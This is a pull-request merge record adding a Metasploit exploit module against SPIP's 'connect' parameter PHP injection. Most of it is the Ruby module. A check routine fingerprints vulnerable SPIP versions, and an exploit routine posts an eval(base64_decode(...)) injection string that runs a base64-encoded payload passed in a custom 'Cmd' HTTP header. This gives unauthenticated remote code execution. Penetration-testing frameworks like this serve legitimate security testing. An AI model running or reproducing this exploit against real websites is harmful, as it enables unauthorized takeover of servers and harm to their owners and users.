Merge pull request #1 from jvazquez-r7/spip_connect_exec_review

Review for spip_connect_exec

Author: ddouhine

modules/exploits/linux/http/spip_connect_exec.rb

@@ -0,0 +1,102 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'SPIP connect Parameter PHP Injection',
+			'Description'    => %q{
+				This module exploits a PHP code injection in SPIP. The vulnerability exists in the
+				connect parameter and allows an unauthenticated user to execute arbitrary commands
+				with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
+				are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
+				has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
+				and Fedora linux distributions.
+			},
+			'Author'         =>
+				[
+					'Arnaud Pachot',					#Initial discovery
+					'Davy Douhine and Frederic Cikala',	#PoC
+					'Davy Douhine',						#MSF module
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'OSVDB', '83543' ],
+					[ 'BID', '54292' ],
+					[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
+				],
+			'Privileged'     => false,
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Targets'        =>
+				[
+					[ 'Automatic', { } ]
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Jul 04 2012'))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
+			], self.class)
+	end
+
+	def check
+		version = nil
+		uri = normalize_uri(target_uri.path, "spip.php")
+
+		res = send_request_cgi({ 'uri' => "#{uri}" })
+
+		if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
+			version = $1
+		end
+
+		if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
+			version = $1
+		end
+
+		if version.nil?
+			return Exploit::CheckCode::Unknown
+		end
+
+		vprint_status("SPIP Version detected: #{version}")
+
+		if version =~ /^2\.0/ and version < "2.0.21"
+			return Exploit::CheckCode::Vulnerable
+		elsif version =~ /^2\.1/ and version < "2.1.16"
+			return Exploit::CheckCode::Appears
+		elsif version =~ /^3\.0/ and version < "3.0.3"
+			return Exploit::CheckCode::Appears
+		end
+
+		return Exploit::CheckCode::Safe
+
+	end
+
+	def exploit
+		uri = normalize_uri(target_uri.path, 'spip.php')
+		print_status("#{rhost}:#{rport} - Attempting to exploit...")
+		res = send_request_cgi(
+			{
+				'uri'    => uri,
+				'method' => 'POST',
+				'vars_post' => {
+					'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
+				},
+				'headers' => {
+					'Cmd' => Rex::Text.encode_base64(payload.encoded)
+				}
+			})
+	end
+
+end